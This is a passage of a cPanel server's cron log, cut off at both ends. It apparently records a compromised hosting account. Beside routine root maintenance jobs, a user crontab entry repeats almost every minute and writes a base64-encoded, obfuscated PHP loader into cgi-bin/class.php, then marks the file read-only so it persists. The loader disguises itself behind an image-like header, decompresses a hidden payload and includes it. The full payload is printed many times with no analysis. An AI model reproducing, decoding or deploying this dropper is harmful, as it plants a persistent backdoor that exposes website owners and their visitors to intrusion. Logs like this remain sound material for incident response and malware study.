QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:25:01 server CROND[6407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:26:01 server CROND[6663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:27:01 server CROND[6748]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 05:27:01 server CROND[6749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:28:01 server CROND[6807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:29:01 server CROND[6876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:30:01 server CROND[6941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 05:30:01 server CROND[6940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:30:01 server CROND[6942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:30:01 server CROND[6943]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Apr 10 05:30:01 server CROND[6947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:31:01 server CROND[7155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:32:01 server CROND[7210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:33:01 server CROND[7271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:34:01 server CROND[7335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:35:01 server CROND[7399]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 05:35:01 server CROND[7400]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 05:35:01 server CROND[7404]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 05:35:01 server CROND[7406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:35:01 server CROND[7405]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 05:36:01 server CROND[7676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:37:01 server CROND[7735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:38:01 server CROND[7797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 05:39:01 server CROND[7859]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 05:39:01 server CROND[7860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk